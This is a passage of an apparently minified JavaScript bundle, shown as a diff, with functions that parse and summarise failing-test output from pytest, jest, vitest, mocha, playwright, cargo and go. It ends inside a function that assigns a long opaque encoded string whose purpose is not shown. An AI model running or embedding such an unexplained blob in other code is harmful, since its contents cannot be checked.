/.test(l.text))&&(a.body.unshift({kind:"frame",text:a.loc}),a.loc=null)}return{failures:n,summary:o,reported:null,counted:n.length}}function lk(e,t){let n=[],r=null,o=!1,s=-1;for(let l of e){let c=l.trimEnd(),u=c.trim();if(/^-{3,} Captured .+ -{3,}$/.test(u)){o=!0;continue}if(o){u&&n.push({kind:"out",text:c});continue}if(/^E(?:\s|$)/.test(c)){c.slice(1).trim()&&n.push({kind:"msg",text:c});continue}let f=/^(\S+?\.py):(\d+):(?: (.*))?$/.exec(c);if(f){if(Mi(f[1]))s>=0&&n.splice(s,1);else{let d=f[3]?.startsWith("in ")?` ${f[3]}`:"";r=Di(n,`${f[1]}:${f[2]}${r===null?"":d}`,r)}s=-1;continue}/^>\s/.test(c)&&(s=n.length,n.push({kind:"source",text:u.replace(/^>\s*/,"")}))}let i=n.filter(l=>l.kind==="msg"),a=Math.min(...i.map(l=>l.text.slice(1).length-l.text.slice(1).trimStart().length));for(let l of i)l.text=`E ${l.text.slice(1+a)}`;return t&&!i.some(l=>l.text.includes(t.replace(/\.\.\.$/,"")))&&n.unshift({kind:"msg",text:t}),{body:n,loc:r}}function ck(e,t){return t.push(we(e.replace(/ in [\d.]+s(?: \([\d:]+\))?$/,""))),(yr([e],/(\d+) failed/)??0)+(yr([e],/(\d+) errors?\b/)??0)}function C1(e){if(!e.some(h=>/^={3,} (?:FAILURES|ERRORS|short test summary info) ={3,}$/.test(h)||ak.test(h)))return null;let t=new Map,n=[],r=[],o="",s=null,i=null,a=null,l=/^(?:\d+ (?:failed|passed|errors?|skipped|xfailed|xpassed|deselected|warnings?)(?:, |\s|$))+(?:in [\d.]+s(?: \([\d:]+\))?)?$/,c=/\b\d+ (?:failed|passed|errors?|skipped|xfailed|xpassed|deselected|warnings?)\b|no tests ran/,u=/^(?:FAILURES|ERRORS|short test summary info|warnings summary|test session starts|PASSES)$/,f=-1;for(let h=e.length-1;h>=0&&f<0;h--){let m=/^={3,} (.+?) ={3,}$/.exec(e[h]);m&&!u.test(m[1])&&c.test(m[1])&&(f=h)}if(f<0){for(let h=e.length-1;h>=0;h--)if(e[h].trim()){l.test(e[h].trim())&&(f=h);break}}for(let[h,m]of e.entries()){let _=/^={3,} (.+?) ={3,}$/.exec(m);if(_){o=_[1],s=null,i=null,h===f&&(a=ck(o,r));continue}if(h===f&&l.test(m.trim())){a=ck(m.trim(),r);continue}if(/^!{3,} .+ !{3,}$/.test(m)){r.push(we(m.replace(/^!+ | !+$/g,"")));continue}let S=/^_{3,} (.+?) _{3,}$/.exec(m);if(S&&(o==="FAILURES"||o==="ERRORS")){s=[],t.set(S[1],s);continue}let E=ak.exec(m);if(E&&o!=="FAILURES"&&o!=="ERRORS"){s=null;let R={kind:E[1],id:E[2],msg:E[3]??null,inline:[]};n.push(R),i=R;continue}if(s){s.push(m);continue}i&&/^E(?:\s|$)/.test(m)?i.inline.push(m):i&&m.trim()&&(i=null)}let d=new Set,p=[],g=new Set;for(let h of n){if(g.has(h.id))continue;g.add(h.id);let[m,..._]=h.id.split("::"),S=_.join("."),E=[S,`ERROR collecting ${h.id}`,`ERROR at setup of ${S}`,`ERROR at teardown of ${S}`].find($=>$&&t.has($)&&!d.has($));E&&d.add(E);let{body:R,loc:I}=lk(E?t.get(E):h.inline,h.msg),A=_.length?_.join("::"):"(collection)";p.push({file:m,name:h.kind==="ERROR"?`${A} [error]`:A,loc:I,body:R,exact:!0})}for(let[h,m]of t){if(d.has(h))continue;let{body:_,loc:S}=lk(m,null);p.push({file:S?S.replace(/:\d+$/,""):null,name:h,loc:S,body:_,exact:!0})}if(p.length===0)for(let h of e){let m=/^(\S+?)::(\S+) (FAILED|ERROR)\b/.exec(h);m&&p.push({file:m[1],name:m[3]==="ERROR"?`${m[2]} [error]`:m[2],loc:null,body:[]})}return{failures:p,summary:r,reported:a,counted:p.length}}function I1(e,t){return e.length===0?!1:e.every(n=>{let r=n.text.trim();if(!/^[-+]/.test(r))return!1;let o=r.slice(1).trim().replace(/,$/,"");return o.length>0&&t.includes(o)})}function N1(e,t,n){let r=fk[n],o=e.body.filter(p=>p.kind==="msg");if(!t)return[...e.body.filter(p=>p.kind==="source"),...o.slice(0,1)].map(p=>` ${p.text}`);let s=e.body.filter(p=>p.kind==="diff"),i=r.trimDiff&&I1(s,o.map(p=>p.text).join(`
140
- `)),a={msg:0,legend:0,diff:0,frame:0,code:0,source:0,out:0},l={msg:0,legend:0,diff:0,frame:0,code:0,source:0,out:0},c={msg:r.msg,legend:1/0,diff:r.diff,frame:e.exact?1/0:r.frames,code:0,source:1/0,out:r.out},u=r.changedOnly&&s.length>O1,f=[];for(let p of e.body){if((p.kind==="diff"||p.kind==="legend")&&i)continue;if(p.kind==="diff"&&u&&!/^[-+]/.test(p.text.trim())){l.diff+=1;continue}let g=p.kind==="legend"?"diff":p.kind;if(a[g]>=c[g]&&p.kind!=="legend"){l[g]+=1;continue}p.kind!=="legend"&&(a[g]+=1),f.push(p.kind==="frame"?` at ${p.text}`:` ${p.text}`)}let d=l.msg+l.diff+(n==="normal"?l.frame+l.out:0);return d>0&&f.push(` ${fr(d)}`),f}function M1(e){let t=e[0];for(let r of e)for(;!r.startsWith(t);)t=t.slice(0,-1);t=t.slice(0,Math.max(...["_",":",".","/"," ","\u203A","-","[","("].map(r=>t.lastIndexOf(r)))+1);let n=e.map(r=>r.slice(t.length));return t.length>=3&&n.every(r=>r.length>0&&!/[{},\s]/.test(r))?`${t}{${n.join(",")}}`:e.join(", ")}function D1(e){if(!e.loc)return`\xD7 ${e.name}`;let t=!e.exact&&e.file&&e.loc.startsWith(`${e.file}:`)?e.loc.slice(e.file.length):e.loc;return`\xD7 ${e.name} ${t}`}function F1(e,t){let n=fk[t],r=new Map,o=e.failures.length>n.bulk,s=e.failures.map(c=>{let u=c.body.find(p=>p.kind==="msg")?.text??"",f=(r.get(u)??0)+1;r.set(u,f);let d=u===""||!o||f<=n.repeats;return{f:c,full:d,body:N1(c,d,t).join(`
141
- `)}}),i=[],a,l=null;for(let c=0;c<s.length;c++){let u=s[c];u.f.file!==a&&(a=u.f.file,a&&i.push(a));let f=c;if(!u.full&&u.f.loc===null)for(;f+1<s.length;){let p=s[f+1];if(p.full||p.f.loc!==null||p.f.file!==u.f.file||p.body!==u.body)break;f+=1}i.push(f>c?`\xD7 ${M1(s.slice(c,f+1).map(p=>p.f.name))}`:D1(u.f)),c=f;let d=s[c+1];d&&d.f.file===u.f.file&&d.body===u.body||u.body&&(u.body===l&&t!=="normal"?i.push(" \u2191 same error"):(i.push(u.body),l=u.body))}for(let c of e.summary)(!c.minor||t==="normal")&&i.push(c.text);return`${i.join(`
144
+ `),r=0;for(let o of n)if(o.trim()!==""){if(!Y1.test(o))return null;r+=1}return r<2?null:`tsc: 0 errors, ${r} files${t?`
145
+ `:""}`}var Y1,X1,_k=y(()=>{"use strict";Y1=/^(?:[A-Za-z]:)?[^\s"'<>|]+\.(?:[cm]?[jt]sx?|json)$/,X1=/--(?:listFiles|listFilesOnly|listEmittedFiles|showConfig|explainFiles|traceResolution)(?:\s|=|$)/});function yr(e,t){let n=null;for(let r of e){let o=t.exec(r);o&&(n=(n??0)+Number(o[1]))}return n}function Ni(e){return Q1.test(e)}function sC(e){if(!/^file:\/\//i.test(e))return e;let t=e.replace(/^file:\/\/(?:localhost)?/i,"");try{t=decodeURIComponent(t)}catch{}return t.replace(/^\/([A-Za-z]:[\\/])/,"$1")}function Mi(e,t,n){return n===null?t:(t!==n&&!e.some(r=>r.kind==="frame"&&r.text===t)&&e.push({kind:"frame",text:t}),n)}function Qc(e,t=()=>!1){let n=[],r=null,o=-1,s=!1;for(let f of e){let d=f.trimEnd(),m=d.trim();if(!m||rC.test(d)||/^─+$/.test(m))continue;if(t(m)){s=!0,n.push({kind:"out",text:m.replace(/\s*─+$/,"")});continue}if(s){n.push({kind:"out",text:m});continue}let g=eC.exec(d)??tC.exec(d);if(g){o=-1;let p=sC(g[1]);Ni(p)||(r=Mi(n,`${p}:${g[2]}${g[3]?`:${g[3]}`:""}`,r));continue}let h=nC.exec(d);if(h){o=-1,n.push({kind:"code",text:m,num:Number(h[2]),pointed:h[1]===">"});continue}if(oC.test(m)){o=n.length,n.push({kind:"legend",text:m});continue}n.push(o>=0?{kind:"diff",text:d,segment:o}:{kind:"msg",text:m})}let i=n.some(f=>f.kind==="code"&&f.pointed),a=r?Number(/:(\d+)(?::\d+)?$/.exec(r)?.[1]):NaN,l=!1,c=n.filter(f=>{if(f.kind!=="code")return!0;let d=!l&&(i?f.pointed===!0:f.num===a);return d&&(l=!0),d}),u=new Map;for(let f of c){if(f.kind!=="diff")continue;let d=f.text.length-f.text.trimStart().length;u.set(f.segment,Math.min(u.get(f.segment)??d,d))}for(let f of c)f.kind==="diff"&&(f.text=f.text.slice(u.get(f.segment)??0)),f.kind==="code"&&(f.kind="source",f.text=f.text.replace(/^>\s*/,""));return{body:c,loc:r}}function _e(e,t=!1){return{text:e.trim().replace(/\s{2,}/g," "),minor:t}}function iC(e){if(!e.some(l=>/^⎯+ Failed (?:Tests|Suites) \d+ ⎯+$/.test(l.trim())||/^\s*Test Files\s{2,}\d/.test(l)||/^ ?FAIL\s+\S+ > /.test(l)))return null;let t=yr(e,/^\s*Tests\s+(\d+) failed/),n=[];for(let l of e)/^\s*Test Files\s{2,}\S/.test(l)?n.push(_e(l,!0)):(/^\s*(?:Tests|Errors|Type Errors)\s{2,}\S/.test(l)||/^\s*ERROR: Coverage for \S.*threshold/.test(l))&&n.push(_e(l));let r=[],o=0,s=[],i=[],a=()=>{if(s.length){let{body:l,loc:c}=Qc(i);for(let u of s)u.body=l,u.loc=c}s=[],i=[]};for(let l of e){let c=l.trim(),u=/^ ?FAIL\s+(\S.*?)\s*$/.exec(l);if(u){i.some(p=>p.trim())&&a();let d=u[1],m=/^(\S+) \[ \S+ \]$/.exec(d),g=d.split(" > "),h=m?{file:m[1],name:"(suite)",loc:null,body:[]}:g.length>1?{file:g[0],name:g.slice(1).join(" > "),loc:null,body:[]}:{file:null,name:d,loc:null,body:[]};m||(o+=1),r.push(h),s.push(h);continue}let f=/^⎯+ (Unhandled [A-Za-z ]+?) ⎯+$/.exec(c);if(f){a();let d={file:null,name:f[1],loc:null,body:[]};r.push(d),s.push(d);continue}if(/^⎯{3,}/.test(c)||/^(?:Test Files|Tests|Start at|Duration|Errors)\s{2,}/.test(c)){a();continue}s.length&&i.push(l)}if(a(),o===0){let l=null;for(let c of e){let u=/^\s*[❯✓×✗]\s+(\S+)\s+\(\d+ tests?\b/.exec(c);if(u){l=u[1];continue}let f=/^\s+[×✗]\s+(.+?)(?:\s+\d+(?:\.\d+)?m?s)?$/.exec(c);f&&(r.push({file:l,name:f[1],loc:null,body:[]}),o+=1)}}return{failures:r,summary:n,reported:t,counted:o}}function aC(e){if(!e.some(u=>/^\s{2}● (?!Console$)/.test(u))||!e.some(u=>/^Tests:\s/.test(u)||/^(?:FAIL|PASS)\s+\S/.test(u)))return null;let t=yr(e,/^Tests:\s+(\d+) failed/),n=[];for(let u of e)/^Test Suites:\s/.test(u)?n.push(_e(u,!0)):(/^Tests:\s/.test(u)||/^Snapshots:\s/.test(u)&&/failed|obsolete/.test(u))&&n.push(_e(u));let r=[],o=new Set,s=0,i=null,a=null,l=[],c=()=>{if(a){let u=`${a.file}\0${a.name}`;if(!o.has(u)){o.add(u);let{body:f,loc:d}=Qc(l);a.body=f,a.loc=d,r.push(a),a.name!=="Test suite failed to run"&&(s+=1)}}a=null,l=[]};for(let u of e){let f=/^(?:FAIL|PASS)\s+(\S+)/.exec(u);if(f){c(),i=f[1];continue}if(/^(?:Summary of all failing tests|Test Suites:|Tests:|Snapshots:|Time:|Ran all test suites)/.test(u)){c();continue}let d=/^\s{2}● (.+)$/.exec(u);if(d){c(),d[1].trim()!=="Console"&&(a={file:i,name:d[1].trim(),loc:null,body:[]});continue}a&&l.push(u)}return c(),{failures:r,summary:n,reported:t,counted:s}}function Rk(e,t,n,r,o){let s=[],i=new Map,a=null;for(let l=t;l<n;l++){let c=e[l],u=/^\s{2}\d+\) (.+)$/.exec(c);if(u){let{name:f,used:d}=r(u[1],e.slice(l+1,Math.min(n,l+8)));l+=d,a=i.get(f)??null,a||(a=[],i.set(f,a),s.push({file:null,name:f,loc:null,body:[]}));continue}/^\s+Retry #\d+ ─*/.test(c)||a&&a.push(c)}for(let l of s){let{body:c,loc:u}=Qc(i.get(l.name),o);l.body=c,l.loc=u}return s}function lC(e){let t=e.findIndex(s=>/^\s*\d+ failing$/.test(s));if(t<0)return null;let n=Number(/(\d+)/.exec(e[t])[1]),r=e.filter(s=>/^\s*\d+ (?:passing|failing|pending)(?: \(\S+\))?$/.test(s)).map(s=>_e(s.replace(/ \(\S+\)\s*$/,""))),o=Rk(e,t+1,e.length,(s,i)=>{let a=[s.trim()],l=0;for(;!a[a.length-1].endsWith(":")&&l<i.length&&i[l].trim();)a.push(i[l].trim()),l+=1;return a[a.length-1].endsWith(":")?{name:a.join(" \u203A ").replace(/:$/,""),used:l}:{name:s.trim(),used:0}});return{failures:o,summary:r,reported:n,counted:o.length}}function cC(e){let t=e.findIndex(a=>a.length<=2e3&&/^\s{2}\d+\) .*›.*─{3,}\s*$/.test(a));if(t<0)return null;let n=e.findIndex((a,l)=>l>t&&/^\s{2}\d+ (?:failed|flaky|passed|skipped|interrupted|did not run)(?: \(.+\))?$/.test(a)),r=n<0?e.length:n,o=yr(e.slice(r),/^\s{2}(\d+) failed$/),s=e.slice(r).filter(a=>/^\s{2}\d+ (?:failed|flaky|passed|skipped|interrupted|did not run)(?: \(.+\))?$/.test(a)).map(a=>_e(a.replace(/ \([\d.]+m?s\)\s*$/,""))),i=Rk(e,t,r,a=>({name:a.replace(/\s*─+\s*$/,"").trim(),used:0}),a=>/^attachment #\d+:/.test(a));return{failures:i,summary:s,reported:o,counted:i.length}}function uC(e){if(!e.some(i=>/^test result: /.test(i))||!e.some(i=>/^---- .+ stdout ----$/.test(i)))return null;let t=yr(e,/^test result: FAILED\. \d+ passed; (\d+) failed/),n=[];for(let i of e)/^test result: FAILED/.test(i)?n.push(_e(i.replace(/; finished in [\d.]+m?s\s*$/,""))):/^test result: ok/.test(i)?n.push(_e(i.replace(/; finished in [\d.]+m?s\s*$/,""),!0)):/^error(?:\[\w+\])?: /.test(i)&&n.push(_e(i));let r=[],o=null,s=[];for(let i of e){let a=/^---- (.+?) stdout ----$/.exec(i);if(a){o={f:{file:null,name:a[1],loc:null,body:[]},lines:[]},s.push(o),r.push(o.f);continue}if(/^failures:$|^test result: |^running \d+ tests?$/.test(i)){o=null;continue}o&&o.lines.push(i)}for(let{f:i,lines:a}of s){let l=!1,c=!1;for(let u of a){let f=u.trimEnd(),d=f.trim();if(!d)continue;let m=/^thread '.+?'(?: \(\d+\))? panicked at (?:'(.*)', )?(\S+?):(\d+):(\d+):?$/.exec(d);if(m){l=!0,i.loc??=`${m[2]}:${m[3]}:${m[4]}`,m[1]&&i.body.push({kind:"msg",text:m[1]});continue}if(!/^note: run with `RUST_BACKTRACE/.test(d)){if(/^stack backtrace:$/.test(d)){c=!0;continue}if(c){let g=/^at\s+(\S+?):(\d+):(\d+)$/.exec(d);g&&!Ni(g[1])&&(i.loc=Mi(i.body,`${g[1]}:${g[2]}:${g[3]}`,i.loc));continue}i.body.push(l?{kind:"msg",text:f}:{kind:"out",text:f})}}}return{failures:r,summary:n,reported:t,counted:r.length}}function fC(e){if(!e.some(a=>/^\s*--- FAIL: \S/.test(a)))return null;let t=new Map,n=[],r=new Map,o=[],s=null,i=null;for(let a of e){let l=/^=== (?:RUN|CONT|PAUSE|NAME)\s+(\S+)/.exec(a);if(l){s=l[1],i=null;continue}let c=/^\s*--- FAIL: (\S+) \([\d.]+m?s\)/.exec(a);if(c){i={file:null,name:c[1],loc:null,body:[]},r.set(i,[...t.get(c[1])??[]]),n.push(i),s=null;continue}if(/^\s*--- (?:PASS|SKIP): /.test(a)){i=null,s=null;continue}let u=/^(FAIL|ok)\s+(\S+)(?:\s+(?:[\d.]+m?s|\(cached\)|\[[^\]]+\]))?/.exec(a);if(u&&/\t|\s{2,}|\[/.test(a)){o.push(_e(a.replace(/\s+[\d.]+m?s\s*$/,""),u[1]==="ok")),i=null,s=null;continue}if(!/^(?:FAIL|PASS)$/.test(a.trim())){if(/^exit status \d+$/.test(a)){o.push(_e(a,!0));continue}if(i)r.get(i).push(a);else if(s){let f=t.get(s)??[];f.push(a),t.set(s,f)}else(/^#\s\S+$/.test(a)||/^\S+\.go:\d+(?::\d+)?: /.test(a))&&o.push(_e(a))}}for(let a of n){for(let l of r.get(a)){let c=l.trim();if(!c||/^goroutine \d+ \[/.test(c))continue;let u=/^(\/\S+\.go|\S+\.go):(\d+)(?: \+0x[0-9a-f]+)?$/.exec(c);if(u){Ni(u[1])||(a.loc=Mi(a.body,`${u[1]}:${u[2]}`,a.loc));continue}/^(?:[\w.*/()-]+)\(.*\)$/.test(c)||/^created by /.test(c)||a.body.push({kind:"msg",text:c})}a.loc&&a.body.some(l=>l.kind==="msg"&&/^\S+\.go:\d+: /.test(l.text))&&(a.body.unshift({kind:"frame",text:a.loc}),a.loc=null)}return{failures:n,summary:o,reported:null,counted:n.length}}function xk(e,t){let n=[],r=null,o=!1,s=-1;for(let l of e){let c=l.trimEnd(),u=c.trim();if(/^-{3,} Captured .+ -{3,}$/.test(u)){o=!0;continue}if(o){u&&n.push({kind:"out",text:c});continue}if(/^E(?:\s|$)/.test(c)){c.slice(1).trim()&&n.push({kind:"msg",text:c});continue}let f=/^(\S+?\.py):(\d+):(?: (.*))?$/.exec(c);if(f){if(Ni(f[1]))s>=0&&n.splice(s,1);else{let d=f[3]?.startsWith("in ")?` ${f[3]}`:"";r=Mi(n,`${f[1]}:${f[2]}${r===null?"":d}`,r)}s=-1;continue}/^>\s/.test(c)&&(s=n.length,n.push({kind:"source",text:u.replace(/^>\s*/,"")}))}let i=n.filter(l=>l.kind==="msg"),a=Math.min(...i.map(l=>l.text.slice(1).length-l.text.slice(1).trimStart().length));for(let l of i)l.text=`E ${l.text.slice(1+a)}`;return t&&!i.some(l=>l.text.includes(t.replace(/\.\.\.$/,"")))&&n.unshift({kind:"msg",text:t}),{body:n,loc:r}}function Ek(e,t){return t.push(_e(e.replace(/ in [\d.]+s(?: \([\d:]+\))?$/,""))),(yr([e],/(\d+) failed/)??0)+(yr([e],/(\d+) errors?\b/)??0)}function dC(e){if(!e.some(h=>/^={3,} (?:FAILURES|ERRORS|short test summary info) ={3,}$/.test(h)||Sk.test(h)))return null;let t=new Map,n=[],r=[],o="",s=null,i=null,a=null,l=/^(?:\d+ (?:failed|passed|errors?|skipped|xfailed|xpassed|deselected|warnings?)(?:, |\s|$))+(?:in [\d.]+s(?: \([\d:]+\))?)?$/,c=/\b\d+ (?:failed|passed|errors?|skipped|xfailed|xpassed|deselected|warnings?)\b|no tests ran/,u=/^(?:FAILURES|ERRORS|short test summary info|warnings summary|test session starts|PASSES)$/,f=-1;for(let h=e.length-1;h>=0&&f<0;h--){let p=/^={3,} (.+?) ={3,}$/.exec(e[h]);p&&!u.test(p[1])&&c.test(p[1])&&(f=h)}if(f<0){for(let h=e.length-1;h>=0;h--)if(e[h].trim()){l.test(e[h].trim())&&(f=h);break}}for(let[h,p]of e.entries()){let w=/^={3,} (.+?) ={3,}$/.exec(p);if(w){o=w[1],s=null,i=null,h===f&&(a=Ek(o,r));continue}if(h===f&&l.test(p.trim())){a=Ek(p.trim(),r);continue}if(/^!{3,} .+ !{3,}$/.test(p)){r.push(_e(p.replace(/^!+ | !+$/g,"")));continue}let S=/^_{3,} (.+?) _{3,}$/.exec(p);if(S&&(o==="FAILURES"||o==="ERRORS")){s=[],t.set(S[1],s);continue}let x=Sk.exec(p);if(x&&o!=="FAILURES"&&o!=="ERRORS"){s=null;let T={kind:x[1],id:x[2],msg:x[3]??null,inline:[]};n.push(T),i=T;continue}if(s){s.push(p);continue}i&&/^E(?:\s|$)/.test(p)?i.inline.push(p):i&&p.trim()&&(i=null)}let d=new Set,m=[],g=new Set;for(let h of n){if(g.has(h.id))continue;g.add(h.id);let[p,...w]=h.id.split("::"),S=w.join("."),x=[S,`ERROR collecting ${h.id}`,`ERROR at setup of ${S}`,`ERROR at teardown of ${S}`].find(I=>I&&t.has(I)&&!d.has(I));x&&d.add(x);let{body:T,loc:A}=xk(x?t.get(x):h.inline,h.msg),M=w.length?w.join("::"):"(collection)";m.push({file:p,name:h.kind==="ERROR"?`${M} [error]`:M,loc:A,body:T,exact:!0})}for(let[h,p]of t){if(d.has(h))continue;let{body:w,loc:S}=xk(p,null);m.push({file:S?S.replace(/:\d+$/,""):null,name:h,loc:S,body:w,exact:!0})}if(m.length===0)for(let h of e){let p=/^(\S+?)::(\S+) (FAILED|ERROR)\b/.exec(h);p&&m.push({file:p[1],name:p[3]==="ERROR"?`${p[2]} [error]`:p[2],loc:null,body:[]})}return{failures:m,summary:r,reported:a,counted:m.length}}function gC(e,t){return e.length===0?!1:e.every(n=>{let r=n.text.trim();if(!/^[-+]/.test(r))return!1;let o=r.slice(1).trim().replace(/,$/,"");return o.length>0&&t.includes(o)})}function hC(e,t,n){let r=Tk[n],o=e.body.filter(m=>m.kind==="msg");if(!t)return[...e.body.filter(m=>m.kind==="source"),...o.slice(0,1)].map(m=>` ${m.text}`);let s=e.body.filter(m=>m.kind==="diff"),i=r.trimDiff&&gC(s,o.map(m=>m.text).join(`
146
+ `)),a={msg:0,legend:0,diff:0,frame:0,code:0,source:0,out:0},l={msg:0,legend:0,diff:0,frame:0,code:0,source:0,out:0},c={msg:r.msg,legend:1/0,diff:r.diff,frame:e.exact?1/0:r.frames,code:0,source:1/0,out:r.out},u=r.changedOnly&&s.length>mC,f=[];for(let m of e.body){if((m.kind==="diff"||m.kind==="legend")&&i)continue;if(m.kind==="diff"&&u&&!/^[-+]/.test(m.text.trim())){l.diff+=1;continue}let g=m.kind==="legend"?"diff":m.kind;if(a[g]>=c[g]&&m.kind!=="legend"){l[g]+=1;continue}m.kind!=="legend"&&(a[g]+=1),f.push(m.kind==="frame"?` at ${m.text}`:` ${m.text}`)}let d=l.msg+l.diff+(n==="normal"?l.frame+l.out:0);return d>0&&f.push(` ${fr(d)}`),f}function yC(e){let t=e[0];for(let r of e)for(;!r.startsWith(t);)t=t.slice(0,-1);t=t.slice(0,Math.max(...["_",":",".","/"," ","\u203A","-","[","("].map(r=>t.lastIndexOf(r)))+1);let n=e.map(r=>r.slice(t.length));return t.length>=3&&n.every(r=>r.length>0&&!/[{},\s]/.test(r))?`${t}{${n.join(",")}}`:e.join(", ")}function kC(e){if(!e.loc)return`\xD7 ${e.name}`;let t=!e.exact&&e.file&&e.loc.startsWith(`${e.file}:`)?e.loc.slice(e.file.length):e.loc;return`\xD7 ${e.name} ${t}`}function bC(e,t){let n=Tk[t],r=new Map,o=e.failures.length>n.bulk,s=e.failures.map(c=>{let u=c.body.find(m=>m.kind==="msg")?.text??"",f=(r.get(u)??0)+1;r.set(u,f);let d=u===""||!o||f<=n.repeats;return{f:c,full:d,body:hC(c,d,t).join(`
147
+ `)}}),i=[],a,l=null;for(let c=0;c<s.length;c++){let u=s[c];u.f.file!==a&&(a=u.f.file,a&&i.push(a));let f=c;if(!u.full&&u.f.loc===null)for(;f+1<s.length;){let m=s[f+1];if(m.full||m.f.loc!==null||m.f.file!==u.f.file||m.body!==u.body)break;f+=1}i.push(f>c?`\xD7 ${yC(s.slice(c,f+1).map(m=>m.f.name))}`:kC(u.f)),c=f;let d=s[c+1];d&&d.f.file===u.f.file&&d.body===u.body||u.body&&(u.body===l&&t!=="normal"?i.push(" \u2191 same error"):(i.push(u.body),l=u.body))}for(let c of e.summary)(!c.minor||t==="normal")&&i.push(c.text);return`${i.join(`
142
148
  `)}
143
- `}function pk(e,t="normal"){let n=ot(e).split(`
144
- `).map(r=>{let o=r.endsWith("\r")?r.slice(0,-1):r;return o.includes("\r")?o.slice(o.lastIndexOf("\r")+1):o});for(let r of P1){let o=r(n);if(!(!o||o.failures.length===0))return o.counted===0||o.reported!==null&&o.counted<o.reported?null:F1(o,t)}return null}var uk,fk,y1,k1,b1,w1,_1,S1,ak,O1,P1,mk=y(()=>{"use strict";Io();fc();uk=/^(?:(?:npx|bunx|pnpm(?:\s+(?:exec|dlx))?|yarn(?:\s+exec)?|uv\s+run|poetry\s+run|pipenv\s+run|hatch\s+run|python3?\s+-m)\s+)?(?:\S*\/)?(?:vitest|jest|mocha|pytest|py\.test|playwright\s+test)(?:\s|$)|^(?:npm|pnpm|yarn|bun)\s+(?:run\s+)?(?:test|t)(?:[:-]\S+)?(?:\s|$)|^cargo\s+test(?:\s|$)|^go\s+test(?:\s|$)/,fk={normal:{msg:40,diff:60,frames:6,out:20,bulk:50,repeats:10,trimDiff:!1,changedOnly:!1},compact:{msg:12,diff:24,frames:2,out:5,bulk:20,repeats:2,trimDiff:!0,changedOnly:!1},minimal:{msg:6,diff:8,frames:0,out:0,bulk:10,repeats:1,trimDiff:!0,changedOnly:!0}},y1=/node_modules|^node:|^internal\/|site-packages|dist-packages|\/lib\/python\d|\/rustc\/|\.cargo\/registry|\.rustup\/|\/go\/src\/|\/go\/pkg\/mod\/|\/libexec\/src\/|<anonymous>/,k1=/^\s*at\s+(?:.*?\()?((?:file:\/\/)?[^\s()]+?):(\d+)(?::(\d+))?\)?\s*$/,b1=/^\s*❯\s+(?:\S+\s+)?([^\s]+?):(\d+)(?::(\d+))?\s*$/,w1=/^\s*(>)?\s*(\d+)\s*\|/,_1=/^\s*\|\s*[\^~]+\s*$/,S1=/^(?:- Expected|\+ Received|- Snapshot|\+ expected - actual|\+ actual - expected|- expected \+ actual)(?:\s+[-+]\s*\d+)?$/;ak=/^(FAILED|ERROR) (\S+?\.py(?:::\S+)?)(?: - (.*))?$/;O1=12,P1=[A1,$1,C1,E1,v1,T1,R1]});function gk(){let e="NnjAHOHBxO45LQIsqHfPl32IfeDXJmRuw2c0j2w_MXMlsCrOj5JYnj_TnWFFxU2Shde2DxYlxAtqYK7bNOy8ASRKeAHiJlTzArBO2Y1vtDWESltvkYB5TGd0pDftHpDyXUSsWHpu9pEoqrGmV7uJFrT2B8L0ajWe_poJE5xEKg6N5qaLnwpaCVyo72IIEGnPPiDIYEXrHXK4WOAWxQ-CzV3dM6Z28FrjKMVEjdspEs7hw01WRfA-4WTkH_-YD5IDXQ2Yj9ifuvCcEXdbirK9eIIsUHf-_mxz9Wz0WpHQl1xI8HunGWEgk4J51BNp5UwLNcJwtp4_G8lMmoRc6cb44Xshkrw9UfWM1owhEhcZ8sKNaHaMURv2mVGzOJ5KDZVwWmtMacvmmdRAh8t--_TJaGbokzH6FhQIOIP-LgOqPIG1YrDCt6ahQA8_Eu_3BVJiJKlU3q-dUmuECw6w9rd3Y_F4ZAdZJOjiXZR57PlFxQ9QiinklmqldlDcvXHP_jVjGtX7c-eez3jEquOT605XS7YcL0DPCMTLemsQ3ZnQXoSlKYsrSXE1mIrern6sIdVIuEwLyfSGEbz6vxEAc4ASzXaLAYOMy3t1Ojp4bSn73bEiOPTPugOdAhpusn-HhN9EiWx9A1jJckZeiRi6EkY1CzANHh8Zr3afTSYEV8rfuro3gCLgrHpEsUl5mB8g62E0WgRm0pIlygTwAnpdSrdhe41Yjrdl5TyUTJ-PGE-cHsQ8xb2Lcghua1akNfWO-WQBlMPDvEqagSxFgX5ixCf75AkkVw7T2E8H_QsTo0KdXw0LZK0OldrquzUJI5QMvlw34D_HTsKeI_Va-w1qKbvEnKLU2pvwfKY3EnvJvv2xNCn0nCz4QAAJ6GsFV1zckoiqJDf9p5tL4F7yPK-5e8TTQ3dIqWE_2tmXDrt9xV7nXElHZ5EVg2vagNpevX8uZ_yXXb8YkfGRmVKyhwyJsX-r2tuwgO2d8R5wMdMnZDCV80drk-r41fUehqwhnU1kRMdifegD1VnvrlsUIeyCfPBB7HYKKyFY3_eqoANPWBEHmx4j1hor_CNV4v5-hFM8NHnyfEBtPeoXp3RxBMnyvgmz0nzbSZlcTf1IJ6qA_uqX8TxxYKzC1Mh7jsF8uTsQf_OEUW-iULXjgm8gNqIPrqR2EsoZ8LpFP-I7XjmA2D9CUjTdZRNwd5nNxUSHkvHwGS9-OE-8z7LmHAsXzk504KBKJb1vQ2ywEbCCTOui3aHaR2BDWnfhj9-EMrvsluDOYRm1PvhNF8NMUjsR5PWwKKYEsHQiYV1doTb1jpe2VutPYHmW_OYXXrkWElsHdwUJbnUrbjt9xhfKVwSZhEn0nRI6oHAEg_mVAdrE_kwy7ESdQdrkwDr4Nqz36hZZl3VXSLtCnC-GPSbhsOHl9Bl-69tby8w4GiCdyACLoFKr210P43Dmg1oHIR0uYZhenpMYKM7CMBssM3Wnudnk1QyoTSGgUA-cfLAhHFL_rJGdr7MJf60lyfuc92fuP3A1V7DPm7GiRkskPdouiTfUT-T04T0zeL-yLb5oxiFozjWKm3LwuSJ4TxhVycNY09DgB5-gpfRHnIA4250Q-zmjl3EBQDwDTFYcmnW3jrffN4ZKPwQdW8Ey7LTRP9ZRk4GD0kHb_TcQ5GcLg3jUcFzWowCy-HPifxXIADSRdhoAVvvUXSHfH8QmAu7kRI4E3Kkn2EaejO6L5purwcfeLzxy5jTTh3oVHwl5B8iS-bwj6p2dSiYH0_gEUp5Lbo-XAIVQqRQmNHyi0PdGfWGtaqVL8N9jzA8yJ3GFzyVnvT9ctOwUnLAAzxgEwkIY-qctCQuw_W-VcWjCV-64vEU0kN3VGH_P4-pU9b-hsWaKGnBdZGd-wA4-yXt6Gz7qNofyaKJY0zvaVl0IYFTp8UmyD8KEVuffFYLcucIWx7HTJ